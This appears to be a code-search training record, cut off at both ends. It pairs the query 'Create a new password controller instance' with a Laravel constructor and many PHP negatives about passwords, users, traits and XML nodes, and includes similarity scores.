$this->performRequest($endpoint);\n }", "protected static function getNode() {\r\n if (!$namespace = static::getNamespace()) {\r\n return static::$node;\r\n }\r\n return camelTo_(substr(get_called_class(), strlen($namespace) + 1));\r\n }", "public function getUseType()\n {\n $value = $this->get(self::USE_TYPE);\n return $value === null ? (integer)$value : $value;\n }", "function we_tag_linkToSEEM($attribs, $content){\n\tt_e('deprecated', __FUNCTION__);\n\treturn we_tag('linkToSeeMode', $attribs, $content);\n}", "function renderUses() {\n\n $found = false;\n \n reset($this->usesTypes);\n while (list($k, $type) = each($this->usesTypes)) {\n\n $this->uses[$type] = $this->accessor->getUsesByType($type);\n if (!$found && 0 != count($this->uses[$type]))\n $found = true;\n\n }\n\n if (!$found)\n return;\n\n $this->renderUsesSummary();\n $this->renderUsesDetail();\n\n $this->uses = array();\n }", "public function getUseFuncName() \n \t{\n \t\treturn $this->use_funcname;\n \t}", "public function register()\n {\n return [T_USE];\n }", "function asdb_trait_uses_recursive($trait)\n {\n $traits = class_uses($trait);\n\n foreach ($traits as $trait) {\n $traits += asdb_trait_uses_recursive($trait);\n }\n\n return $traits;\n }", "function _use($k = NULL, $v = TRUE) {\n if ($k) {\n $this->used[$k] = $v;\n }\n else {\n foreach ($this->used as $k => $value) {\n $this->_use($k, $v);\n }\n }\n }", "public function setUsing($using = null): void\n {\n if (null !== $using) {\n if (self::CROSS === $this->p_type) {\n throw new InvalidArgumentException('No join conditions are allowed for CROSS JOIN');\n } elseif (!empty($this->p_natural) || !empty($this->p_on)) {\n throw new InvalidArgumentException('Only one of NATURAL, USING, ON clauses should be set for JOIN');\n }\n if (!$using instanceof UsingClause) {\n if (is_string($using)) {\n $using = UsingClause::createFromString($this->getParserOrFail('a USING clause'), $using);\n } elseif (is_iterable($using)) {\n $using = new UsingClause($using);\n } else {\n throw new InvalidArgumentException(sprintf(\n '%s requires an SQL string, an array of identifiers, or an instance of UsingClause, %s given',\n __METHOD__,\n is_object($using) ? 'object(' . get_class($using) . ')' : gettype($using)\n ));\n }\n }\n }\n $this->setProperty($this->p_using, $using);\n }", "public function getUses(): int\n {\n return $this->uses;\n }", "private function createNode(NodeInterface $node, $pathSegment, $uuid)\n {\n if ($node->hasNode($pathSegment)) {\n return $node->getNode($pathSegment);\n }\n\n $node = $node->addNode($pathSegment);\n $node->addMixin('mix:referenceable');\n $node->setProperty('jcr:uuid', $uuid);\n\n return $node;\n }", "function atkuse($type, $name)\n{\n\tinclude_once(atkgetinclude($type, $name));\n}", "public static function assertTraitUsage(string $traitName, $object)\n {\n return static::assertContains($traitName, class_uses($object));\n }", "function generate_block_varref($namespace, $varname, $use_isset = true)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\tif($use_isset)\n\t\t{\n\t\t\t$varref = '<' . '?php echo isset(' . $varref . ') ? ' . $varref . ' : \\'\\'; ?' . '>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$varref = '<' . '?php echo ' . $varref . '; ?' . '>';\n\t\t}\n\n\t\treturn $varref;\n\t}", "function class_uses($object_or_class, bool $autoload = true): array|false {}", "function jtp(){\n echo \"Trait name = \",__TRAIT__;\n\t\t\techo \"<br><br>\";\n\t\t\techo \"Class Name = \".__CLASS__;\n }", "private function makeNode($tagName, $tagContent, $attributes = null)\n\t{ \n\t\t$nodeText = '';\n\t\t$attrText = '';\n\n\t\tif(is_array($attributes))\n\t\t{\n\t\t\tforeach ($attributes as $key => $value) \n\t\t\t{\n\t\t\t\t$attrText .= \" $key=\\\"$value\\\" \";\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(is_array($tagContent) && $this->version == RSS1)\n\t\t{\n\t\t\t$attrText = ' rdf:parseType=\"Resource\"';\n\t\t}\n\t\t\n\t\t\n\t\t$attrText .= (in_array($tagName, $this->CDATAEncoding) && $this->version == ATOM)? ' type=\"html\" ' : '';\n\t\t$nodeText .= (in_array($tagName, $this->CDATAEncoding))? \"<{$tagName}{$attrText}><![CDATA[\" : \"<{$tagName}{$attrText}>\";\n\t\t \n\t\tif(is_array($tagContent))\n\t\t{ \n\t\t\tforeach ($tagContent as $key => $value) \n\t\t\t{\n\t\t\t\t$nodeText .= $this->makeNode($key, $value);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$nodeText .= (in_array($tagName, $this->CDATAEncoding))? $tagContent : htmlentities($tagContent);\n\t\t} \n\t\t\t\n\t\t$nodeText .= (in_array($tagName, $this->CDATAEncoding))? \"]]></$tagName>\" : \"</$tagName>\";\n\n\t\treturn $nodeText . PHP_EOL;\n\t}", "public function setUsage ($usage, $language = null) {\n\t$this->getLocalizedfields()->setLocalizedValue(\"usage\", $usage, $language);\n\treturn $this;\n}", "public function addUses($args)\n {\n foreach ((array) $args as $key => $value) {\n $value = str_replace('/', '\\\\', $value);\n if (is_int($key)) {\n // namespace or class import\n if (class_exists($value)) {\n // class import\n $this->aliases[StringHelper::basename($value)] = $value;\n } else {\n // namespace\n $this->namespaces[] = $value;\n }\n } else {\n // aliased class import\n $this->aliases[$key] = $value;\n }\n }\n }", "private function makeNode($tagName, $tagContent, $attributes = null)\n {\n $nodeText = '';\n $attrText = '';\n\n if (is_array($attributes)) {\n foreach ($attributes as $key => $value) {\n $attrText .= \" $key=\\\"$value\\\" \";\n }\n }\n\n if (is_array($tagContent) && $this->version == RSS1) {\n $attrText = ' rdf:parseType=\"Resource\"';\n }\n\n\n $attrText .= (in_array($tagName, $this->CDATAEncoding) && $this->version == ATOM) ? ' type=\"html\" ' : '';\n\n\n if (in_array($tagName, $this->CDATAEncoding)) {\n\n if ($this->version == self::Turbo) {\n $str = \"<![CDATA[\";\n }\n\n else {\n $str = \"<{$tagName}{$attrText}><![CDATA[\";\n }\n }\n\n elseif ($this->version == self::AMP || $this->version == self::Telegram) {\n $str = \"{$tagName}{$attrText}\";\n }\n\n else {\n $str = \"<{$tagName}{$attrText}>\";\n }\n\n $nodeText .= $str;\n\n if (is_array($tagContent)) {\n foreach ($tagContent as $key => $value) {\n $nodeText .= $this->makeNode($key, $value);\n }\n }\n\n else {\n $nodeText .= $tagContent;\n }\n\n\n if (in_array($tagName, $this->CDATAEncoding)) {\n\n if ($this->version == self::Turbo) {\n $str = \"]]>\";\n }\n\n else {\n $str = \"]]></$tagName>\";\n }\n }\n\n elseif ($this->version == self::AMP || $this->version == self::Telegram) {\n $str = \"$tagName\";\n }\n\n else {\n $str = \"</$tagName>\";\n }\n\n $nodeText .= $str;\n\n return $nodeText . PHP_EOL;\n }", "public function attachObject($options, Closure $callback = null) {\n\t\tif (is_string($options)) {\n\t\t\t$options = ['alias' => $options];\n\t\t}\n\n\t\t$options = $options + [\n\t\t\t'alias' => null,\n\t\t\t'class' => null,\n\t\t\t'register' => true,\n\t\t\t'callback' => true,\n\t\t\t'interface' => null\n\t\t];\n\n\t\tif (empty($options['alias'])) {\n\t\t\tthrow new TraitException('You must define an alias to reference the attached object.');\n\n\t\t} else if ($callback === null && empty($options['class'])) {\n\t\t\tthrow new TraitException(sprintf('You must supply a closure or a class name for %s.', $options['alias']));\n\n\t\t} else {\n\t\t\t$options['alias'] = Inflector::variable($options['alias']);\n\t\t}\n\n\t\t$this->_classes[$options['alias']] = $options;\n\n\t\tif ($callback !== null && $callback instanceof Closure) {\n\t\t\t$this->__objectMap[$options['alias']] = Closure::bind($callback, $this, __CLASS__);\n\t\t}\n\n\t\treturn $this;\n\t}", "private function getNode(): NodeInterface {\n $config = $this->getConfiguration();\n return $config['node'];\n }", "function yy_r77(){ $this->_retvalue = ['USING', $this->yystack[$this->yyidx + 0]->minor]; }" ]
[ "0.77279305", "0.552925", "0.5454156", "0.5393078", "0.525727", "0.51459754", "0.50589913", "0.50075024", "0.49570608", "0.49354798", "0.48836666", "0.48836666", "0.4701154", "0.46466094", "0.45757923", "0.45539042", "0.45375037", "0.4518581", "0.44598734", "0.44233826", "0.4388373", "0.43798327", "0.43778843", "0.43651697", "0.43311757", "0.4300953", "0.43006644", "0.4286035", "0.42827997", "0.42354494", "0.4225292", "0.42244992", "0.41916388", "0.41635546", "0.41516662", "0.4149779", "0.41251174", "0.41232413", "0.41212943", "0.4114285", "0.41115177", "0.40820265", "0.40785128", "0.4033566", "0.40244114", "0.40075874", "0.4003709", "0.3991481", "0.39514628", "0.3949826", "0.39399227", "0.39373174", "0.39344993", "0.3933344", "0.39313805", "0.38768345", "0.38728884", "0.3870717", "0.38687447", "0.38463446", "0.38436896", "0.38358805", "0.3835685", "0.38317305", "0.38257828", "0.38220617", "0.382029", "0.38080743", "0.38048503", "0.38012454", "0.3799022", "0.37953225", "0.37870127", "0.37831092", "0.37804526", "0.37799683", "0.3777682", "0.37771234", "0.3773408", "0.37713757", "0.37611607", "0.3759228", "0.3754269", "0.37541413", "0.3753272", "0.3725311", "0.3716406", "0.37124684", "0.3703635", "0.37008205", "0.3686697", "0.36862642", "0.3678296", "0.3672966", "0.3671093", "0.36676475", "0.36639702", "0.36638486", "0.36585358", "0.36563957" ]
0.3714977
87
Create a new password controller instance.
public function __construct() { $this->middleware('guest'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create($password);", "function create_new_password(){\n $user_id = $this->encrypt_decrypt('decrypt', $_GET['puk']);\n \n $view = array(\n 'user_id' => $user_id,\n 'content' => 'new_password_view'\n ); \n\n $this->load->view('includes/content', $view);\n }", "public function create()\n {\n return view('client.changePassword');\n }", "public function create()\n {\n return view('auth.change-password');\n }", "public function create($password, $type = null);", "public function create_password() {\n\t\tif(!empty($this->request->params['named']['email'])){\n\t\t\t$email = $this->request->params['named']['email'];\n\t\t}\n\t\t\n\t\t$authUserData = $this->Auth->user();\n\t\tif(empty($authUserData)){\n\t\t\t$this->Session->setFlash(__('There was an error logging you in and setting up a password. Your temporary password has been sent to your email address.', true));\n\t\t\t//Send the temporary password to the user's email address\n\t\t\t$options = array(\n\t\t\t\t\t\t\t\t'layout'=>'temporary_password',\n\t\t\t\t\t\t\t\t'subject'=>'Your Temporary Password',\n\t\t\t\t\t\t\t\t'view'=>'default'\n\t\t\t\t\t\t\t\t);\n\t\t\t$viewVars = array('temp_password'=>$authUserData['User']['email'],'user'=>$user);\n\n\t\t\t//Send the email\n\t\t\t$this->_sendEmail($email,$options,$viewVars);\n\t\t\t$this->redirect(array('controller'=>'users','action'=>'login'));\n\t\t}\n\t\t\n\t\t$user = $this->User->find('first',array('conditions'=>array('email'=>$authUserData['User']['email'])));\n\t\tif (!empty($this->request->data)) {\n\t\t\t$this->request->data['User']['id'] = $user['User']['id']; //Get the logged in user's id\n\t\t\tif ($this->User->verifyNewPassword($this->request->data)) {\n\t\t\t\t$this->Session->setFlash(__('Password created.', true));\n\t\t\t\t$this->redirect(array('controller'=>'uploads','action'=>'index'));\n\t\t\t}\n\t\t}\n\t}", "public function create()\n\t{\n\t\t$password = \"ml2.0\";\n\t\treturn View::make('gear.create')->with('password', $password);\n\t}", "public function create()\n {\n return view(\"users.change_password\")->with([\"title\"=>\"Set a new password\"]);\n\n }", "function password()\n{\n $view = new View('visiteur/password');\n $view->generate();\n}", "public function create(){\n\n return view('adminchangepass');\n }", "public function Create()\n {\n parent::Create();\n\n $this->RegisterPropertyString('Username', '');\n $this->RegisterPropertyString('Password', '');\n\n $this->RegisterPropertyString('AccessList', '[]');\n\n // Inspired by module SymconTest/HookServe\n // We need to call the RegisterHook function on Kernel READY\n $this->RegisterMessage(0, IPS_KERNELMESSAGE);\n }", "protected function actionNewPassword() {\n\t\t$this->content = $this->parser->parseTemplate(CMT_TEMPLATE.'app_welcome/cmt_new_password.tpl');\n\t}", "public function create()\n\t{\n\t\t//creating the view to allow users to reset their password\n\t\treturn View::make('password_resets.create');\n\t}", "protected function password($options) {\n $element = new Password('passwordTxt');\n $element->setLabel('Password');\n $element->setAttribute('class', 'form-control');\n if($options['action'] == 'create' || ($options['action'] != 'create' && $this->request->getPost('passwordTxt')))\n {\n $validators = array( new PresenceOf(array('message' => 'Password is required')) );\n if($this->request->isPost() && $this->request->getPost('passwordTxt')){\n $validators[] = new StringLength(array(\n \"min\" => 8,\n \"max\" => 16,\n \"messageMaximum\" => \"Password must not be greater than 16 characters\",\n \"messageMinimum\" => \"Password must be between 8-16 characters\",\n ));\n }\n $element->addValidators($validators);\n $element->setUserOption('lblRequired', true);\n }\n $this->add($element); \n }", "public function create()\n\t{\n return View::make('passwordresets.create');\n\t}", "public function new_password($id)\n {\n $data['id'] = $id;\n return view(\"fronts.recovery-password\", $data);\n }", "private function password()\n {\n $element = new Password('password');\n $element->setLabel('Password');\n $element->setAttribute('class', 'form-control');\n $element->setAttribute('placeholder', 'Password');\n $element->addValidators(array(\n new PresenceOf(array('message' => 'Password is required'))\n ));\n $this->add($element);\n }", "public function actionCreate()\n {\n $model = new User();\n\n\n if ($model->load(Yii::$app->request->post())) {\n\n $model->password = Yii::$app->security->generatePasswordHash($model->password);\n $model->save();\n \n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function __construct($password);", "public function newPassword(){\n\t\t// Load helpers and libraries\n helper(['form', 'url']);\n $M_User = new M_User();\n\n\t\t// Default return\n\t\t$ret = redirect()->to(base_url());\n\n $options = [\n\t\t\t'action' => ROUTE_NEW_PWD_ACCOUNT, // Route\n\t\t\t'script' => self::ENCRYPTION_URL // Script URL for SHA256 encryption\n ];\n\n $request = $this->request;\n\n\t\t$token = $request->getGetPost('token');\n\t\t// Checking if a corresponding token exists in the DB\n\t\tif ($token != null){\n\t\t\t$options['token'] = $token;\n\t\t\tif ($M_User->findOneBy('securityToken', $token) != null) {\n\t\t\t\t// Displaying password creation form\n\t\t\t\t$ret = render(FORM_NEW_PWD, $options);\n }\n }\n\t\telseif (session()->has('logged_in')){\n\t\t\t$options['token'] = null;\n\t\t\t$ret = render(FORM_NEW_PWD, $options);\n\t\t}\n\n\t\t$postData = $request->getPostGet('newPwd');\n\t\t// Second step of the process (processing form data)\n\t\tif (is_array($postData)){\n\t\t\t// Something went wrong : displaying an alert\n\t\t\tif ($M_User->resetPassword($postData['token'],$postData['password']) != SC_SUCCESS){\n\t\t\t\t$options['token'] = $postData['token'];\n\t\t\t\t$options['alert'] = 'Une erreur interne est survenue';\n $options['type'] = 'danger';\n\t\t\t\t$ret = render(FORM_NEW_PWD, $options);\n }\n\t\t\t// Everything went well : redirecting to base url\n\t\t\telse{\n\t\t\t\t$ret = redirect()->to(base_url());\n\t\t\t\t// TODO - Display an alert to notify the user that everything is OK\n }\n }\n\n return $ret;\n\t}", "public function create()\n {\n $password = getRandomPassword();\n return view('dashboard.modules.admin.users.create')->withPassword($password);\n }", "public function create()\n {\n //\n return view('/dischargeGatepass');\n }", "public function new () : void\n {\n // add a user\n $ResetUserPassword = new ResetUserPassword($this->session, $this->router);\n $ResetUserPassword->new();\n\n // form\n $form = new ForgetForm($_POST, $ResetUserPassword->getErrors());\n\n // url of the current page\n $url = $this->router->url(\"password_new\");\n\n // flash message\n $flash = $this->session->generateFlash();\n\n $title = App::getInstance()->setTitle(\"Forget\")->getTitle();\n $bodyClass = strtolower($title);\n\n\n $this->render('security/password/new', $this->router, $this->session, compact('form', 'url', 'title', 'bodyClass', 'flash'));\n }", "public function create()\n {\n $dashboard = new Dashboard();\n\n $dashboard->custom('\n <style>\n .password-generator-btn{\n border:none;\n border-radius: 3px;\n padding: 10px; \n }.pass{\n display: none;\n padding: 20px 20px 0 0;\n font-size: 16px;\n margin: 0;\n }.pass:hover{\n cursor:pointer;\n }.copied{\n z-index: 10000;\n display: none;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translate(-50%, -50%);\n border-radius: 2px;\n padding: 20px 25px;\n }\n </style>\n \n <div class=\"col-sm-12\">\n <div class=\"white-box\" style=\"margin-bottom: 0;\">\n <div class=\"password-generator-container\">\n <button class=\"password-generator-btn bg-danger text-white\">'. trans('workflow::admin.generate_access_key') .'</button>\n <p class=\"pass\"></p>\n </div>\n <div class=\"copied text-muted\"><h2>'. trans('workflow::admin.copied') .'</h2></div>\n </div>\n </div>\n \n <script>\n let pass = document.querySelector(\\'.pass\\');\n let btn = document.querySelector(\\'.password-generator-btn\\');\n btn.addEventListener(\\'click\\', function(){\n let length = 30,\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_/!&\",\n retVal = \"\";\n for (let i = 0, n = charset.length; i < length; ++i) {\n retVal += charset.charAt(Math.floor(Math.random() * n));\n }\n pass.style.display = \"block\";\n pass.innerHTML = retVal;\n });\n pass.onclick = function() {\n document.execCommand(\"copy\");\n };\n pass.addEventListener(\"copy\", function(event) {\n event.preventDefault();\n if (event.clipboardData) {\n event.clipboardData.setData(\"text/plain\", pass.textContent);\n $(\".copied\").slideDown(200);\n setTimeout(function(){\n $(\".copied\").slideUp(300);\n }, 3000);\n }\n });\n </script>\n ');\n\n $dashboard->generate();\n\n $form = new AdministrationForm();\n $form->route(Administration::route('workflow.store'));\n $form->form(WorkflowForm::class);\n\n Breadcrumbs::register('administration', function ($breadcrumbs) {\n $breadcrumbs->parent('base');\n $breadcrumbs->push(trans('workflow::admin.module_name'), Administration::route('workflow.index'));\n $breadcrumbs->push(trans('administration::admin.create'));\n });\n\n Administration::setTitle(trans('workflow::admin.module_name') . ' - ' . trans('administration::admin.create'));\n\n return $form->generate();\n }", "public function create()\n {\n $servers = Server::all();\n $cryptos = Crypto::hydrate( DB::table('cryptos')->orderBy('name')->get()->toArray() );\n\n return view('ports.create', compact('cryptos', 'servers'));\n }", "protected function createController()\n {\n $this->createClass('controller');\n }", "public function actionCreate() {\n if (!Yii::$app->user->can('admin')) {\n throw new HttpException(403, 'You are not authorized to perform this action.');\n }\n $model = new User();\n \n if ($model->load(Yii::$app->request->post())) {\n $model->id = $model->generateRandomString();\n $model->password = Yii::$app->getSecurity()->generatePasswordHash($model->password);\n \n $model->status = 1;\n if ($model->save()) {\n Yii::$app->session->setFlash('success', 'User berhasil dibuat dengan password 123456');\n } else {\n Yii::$app->session->setFlash('error', 'User gagal dibuat');\n }\n\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n \n ]);\n }\n }", "public function create()\n {\n //createLog(NewLetters::class);\n return view('backend.newletters.create');\n }", "public function create()\n {\n $this->middleware('auth');\n return view('decrypt.create');\n }", "public function create() {\n\t\t$faker = Faker::create();\n\n\t\t$threshold = Cache::get('device.threshold');\n\n\t\tif (!$threshold) {\n\t\t\t$threshold = '0.2,0.8';\n\t\t}\n\n\t\treturn view('device.create', ['username' => $faker->uuid, 'password' => $faker->password, 'salt' => $faker->word, 'threshold' => $threshold]);\n\t}", "public function create()\n {\n $rand = mt_rand(100000,999999);\n\n $pw = '*' .$rand;\n\n // $encrypted = Crypt::encryptString('Belajar Laravel Di malasngoding.com');\n\t\t// $decrypted = Crypt::decryptString($encrypted);\n \n\t\t// echo \"Hasil Enkripsi : \" . $encrypted;\n\t\t// echo \"<br/>\";\n\t\t// echo \"<br/>\";\n\t\t// echo \"Hasil Dekripsi : \" . $decrypted;\n\n $kelas = Kelas::all();\n return view('pages.admin.siswa.create', [\n 'pw' => $pw,\n 'kelas' => $kelas\n ]);\n }", "public function create()\n\t{\t\n\t\t$rules = array(\n\t\t\t\t'name' \t\t=> 'required',\n\t\t\t\t'username' \t=> 'required',\n\t\t\t\t'password' \t=> 'required',\n\t\t\t\t'type'\t\t=> 'required'\n\t\t\t);\n\n\t\t$validator = Validator::make($data = Input::all(), $rules);\n\n\t\tif ($validator->fails()) {\n\t\t\treturn Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\t$credential \t\t\t\t= new Credential;\n\t\t$credential->user_id \t\t= Auth::id();\n\t\t$credential->project_id \t= Input::get('project_id');\n\t\t$credential->name \t\t\t= Input::get('name');\n\t\t$credential->username \t\t= Input::get('username');\n\t\t$credential->password \t\t= Input::get('password');\t\t\n\n\t\tif (Input::get('type') == \"server\") {\t\t\t\t\t\t\n\t\t\t$credential->type \t\t= true;\t\t\t\n\t\t\t$credential->hostname \t= Input::get('hostname');\n\t\t\t$credential->port \t\t= Input::get('port');\t\t\t\n\t\t\t\n\t\t}else{\n\t\t\t$credential->type \t\t= false;\t\n\t\t\t$credential->hostname \t= \"\";\n\t\t\t$credential->port \t\t= \"\";\n\t\t}\n\t\t$credential->save();\n\t\treturn Redirect::back();\t\t\t\t\t\t\n\t}", "public function password()\n {\n }", "protected function createController()\n {\n $params = [\n 'name' => $this->argument('name'),\n ];\n\n if ($this->option('api')) {\n $params['--api'] = true;\n }\n\n $this->call('wizard:controller', $params);\n }", "public function create_secret() {\n\n\t\t$this->path = '/secret';\n\t}", "public function actionCreate()\n {\n $model = new BackendUser();\n\n $post = Yii::$app->request->post();\n if($post){\n $post['BackendUser']['password'] = md5($post['BackendUser']['password']);\n }\n\n if ($model->load($post) && $model->save()) {\n return $this->redirect(['/user/']);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function store(Request $request)\n {\n $title = $request->title;\n $password = $request->password;\n $category = $request->category_id;\n\n if (!parent::checkLogin())\n {\n return parent::response(\"You don't have permission\",403);\n }\n\n if (!ctype_graph($title)) {\n return response(\"The title of the password cannot have any blank spaces\", 400); \n }\n\n if (empty($title)) {\n return response(\"The title of the password is empty\", 400); \n }\n\n $passwords = Passwords::where('user_id', parent::getUserfromToken()->id)->first();\n\n if ($passwords != null) {\n if ($title == $passwords->title) {\n return parent::response(\"This password already exists\",400); \n }\n }\n\n $newPassword = new Passwords;\n \n $newPassword->user_id = parent::getUserfromToken()->id;\n $newPassword->title = $request->title;\n $newPassword->password = self::encodePassword($request->password);\n \n if(isset($category)){\n if($category == \"none\"){\n $category = null;\n }else {\n $findCategory = Category::where('name',$category)->first();\n $newPassword->category_id = $findCategory->id;\n\n }\n }\n \n\n $newPassword->save();\n\n return parent::response(\"Password created\",200);\n \n }", "public function create()\n {\n return view('pages/key/userCreate');\n }", "public function create()\n {\n return view('auth.passwords.salesrep_forgot-password');\n }", "public function actionCreate()\n {\n $model = new RegisterForm();\n $model->type = User::TYPE_USER;\n $model->status = User::STATUS_ACTIVE;\n $model->loadDefaultValues();\n\n if ($model->load(Yii::$app->request->post()) && $model->validate()) {\n $model->password_hash = (new Security())->generatePasswordHash($model->password);\n if ($model->save()) {\n return $this->redirect(['index']);\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function create()\n {\n return view('pages.chars.create');\n }", "public static function createInstance()\n {\n return new PasswordField('ISerializable', 'ISerializable');\n }", "public function create()\n {\n $model = new ApiKey();\n return view('admin.apikey.create', ['model' => $model]);\n }", "public function create()\n\t{\n\t\treturn View::make('pitches.create');\n\t}", "public function create()\n {\n $this->resetFields();\n //DAN MEMBUKA AREA\n $this->openUser();\n }", "public function create()\n {\n $this->cpAuthorize();\n }", "public function run()\n\t{\n\t\t/** @var \\BackendTemplate|object $objTemplate */\n\t\t$objTemplate = new \\BackendTemplate('be_password');\n\n\t\tif (\\Input::post('FORM_SUBMIT') == 'tl_password')\n\t\t{\n\t\t\t$pw = \\Input::postUnsafeRaw('password');\n\t\t\t$cnf = \\Input::postUnsafeRaw('confirm');\n\n\t\t\t// The passwords do not match\n\t\t\tif ($pw != $cnf)\n\t\t\t{\n\t\t\t\t\\Message::addError($GLOBALS['TL_LANG']['ERR']['passwordMatch']);\n\t\t\t}\n\t\t\t// Password too short\n\t\t\telseif (utf8_strlen($pw) < \\Config::get('minPasswordLength'))\n\t\t\t{\n\t\t\t\t\\Message::addError(sprintf($GLOBALS['TL_LANG']['ERR']['passwordLength'], \\Config::get('minPasswordLength')));\n\t\t\t}\n\t\t\t// Password and username are the same\n\t\t\telseif ($pw == $this->User->username)\n\t\t\t{\n\t\t\t\t\\Message::addError($GLOBALS['TL_LANG']['ERR']['passwordName']);\n\t\t\t}\n\t\t\t// Save the data\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Make sure the password has been changed\n\t\t\t\tif (\\Encryption::verify($pw, $this->User->password))\n\t\t\t\t{\n\t\t\t\t\t\\Message::addError($GLOBALS['TL_LANG']['MSC']['pw_change']);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->loadDataContainer('tl_user');\n\n\t\t\t\t\t// Trigger the save_callback\n\t\t\t\t\tif (is_array($GLOBALS['TL_DCA']['tl_user']['fields']['password']['save_callback']))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($GLOBALS['TL_DCA']['tl_user']['fields']['password']['save_callback'] as $callback)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (is_array($callback))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->import($callback[0]);\n\t\t\t\t\t\t\t\t$pw = $this->{$callback[0]}->{$callback[1]}($pw);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (is_callable($callback))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$pw = $callback($pw);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$objUser = \\UserModel::findByPk($this->User->id);\n\t\t\t\t\t$objUser->pwChange = '';\n\t\t\t\t\t$objUser->password = \\Encryption::hash($pw);\n\t\t\t\t\t$objUser->save();\n\n\t\t\t\t\t\\Message::addConfirmation($GLOBALS['TL_LANG']['MSC']['pw_changed']);\n\t\t\t\t\t$this->redirect('contao/main.php');\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->reload();\n\t\t}\n\n\t\t$objTemplate->theme = \\Backend::getTheme();\n\t\t$objTemplate->messages = \\Message::generate();\n\t\t$objTemplate->base = \\Environment::get('base');\n\t\t$objTemplate->language = $GLOBALS['TL_LANGUAGE'];\n\t\t$objTemplate->title = specialchars($GLOBALS['TL_LANG']['MSC']['pw_new']);\n\t\t$objTemplate->charset = \\Config::get('characterSet');\n\t\t$objTemplate->action = ampersand(\\Environment::get('request'));\n\t\t$objTemplate->headline = $GLOBALS['TL_LANG']['MSC']['pw_change'];\n\t\t$objTemplate->submitButton = specialchars($GLOBALS['TL_LANG']['MSC']['continue']);\n\t\t$objTemplate->password = $GLOBALS['TL_LANG']['MSC']['password'][0];\n\t\t$objTemplate->confirm = $GLOBALS['TL_LANG']['MSC']['confirm'][0];\n\n\t\t$objTemplate->output();\n\t}", "public function cngpassword()\n {\n return view('scout.CngPassword');\n }", "public function create(){}", "public function create()\n {\n return view('auth.forgot-password');\n }", "public function create()\n {\n return view('auth.forgot-password');\n }", "public function create()\n {\n \t $this->pass_data['page_heading'] = \"Add User\";\n return view('backend.user.create', $this->pass_data);\n }", "public function create()\n {\n $output = new \\Symfony\\Component\\Console\\Output\\ConsoleOutput();\n $output->writeln(\"<info>Controller Create</info>\");\n }", "public function generateController () {\r\n $controllerParam = \\app\\lib\\router::getPath();\r\n $controllerName = \"app\\controller\\\\\" . end($controllerParam);\r\n $this->controller = new $controllerName;\r\n }", "public function password($value): self\n {\n $this->password = $value;\n \n return $this;\n }", "public function create_with_password()\n {\n $cmd = $this->artisan('user:create testuser [email protected] --password=passwd');\n $cmd->assertExitCode(0);\n\n $cmd->execute();\n\n $user = User::query()->where('username', 'testuser')->first();\n $this->assertTrue(Hash::check('passwd', $user->password));\n }", "public function create() {}", "public function create()\n {\n return view('proyectos.create');\n }", "public function create()\n {\n return view('proyectos.create');\n }", "public function create()\n\t{\n\t\treturn View::make('login.login');\n\t}", "public function create()\n\t{\n\t\treturn View::make('login');\n\t}", "public function create()\n {\n //on that view we manipulate a token\n return view(\"trello.token\");\n }", "public function cngpassword()\n {\n return view('user.CngPassword');\n }", "public function setPassword(){\n\t}", "public function new_password_form()\n {\n $markers = array();\n $markers['errors'] = $this->Register['Validate']->getErrors();\n if (isset($_SESSION['FpsForm'])) unset($_SESSION['FpsForm']);\n\n\n $markers['action'] = get_url('/users/send_new_password/');\n $source = $this->render('newpasswordform.html', array('context' => $markers));\n\n\n // Navigation PAnel\n $nav = array();\n $nav['navigation'] = get_link(__('Home'), '/') . __('Separator')\n . get_link(h($this->module_title), '/users/') . __('Separator') . __('Password repair');\n $this->_globalize($nav);\n\n\n return $this->_view($source);\n }", "public static function makePassword()\n {\n $pass = \"\";\n $chars = array(\n \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"0\",\n \"a\", \"A\", \"b\", \"B\", \"c\", \"C\", \"d\", \"D\", \"e\", \"E\", \"f\", \"F\", \"g\", \"G\", \"h\", \"H\", \"i\", \"I\", \"j\", \"J\",\n \"k\", \"K\", \"l\", \"L\", \"m\", \"M\", \"n\", \"N\", \"o\", \"O\", \"p\", \"P\", \"q\", \"Q\", \"r\", \"R\", \"s\", \"S\", \"t\", \"T\",\n \"u\", \"U\", \"v\", \"V\", \"w\", \"W\", \"x\", \"X\", \"y\", \"Y\", \"z\", \"Z\");\n\n $count = count($chars) - 1;\n\n srand((double) microtime() * 1000000);\n\n for ($i = 0; $i < 8; $i++) {\n $pass .= $chars[rand(0, $count)];\n }\n\n return ($pass);\n }", "public function create()\n {\n //\n return view('privilege.create');\n }", "public function getNewPassword()\n\t{\n\n\t\treturn View::make('user.newpassword');\t\n\t}", "public function create()\n {\n return view('secretary.create');\n }", "public function authenticationWithValidAlphaCharClassPassword() 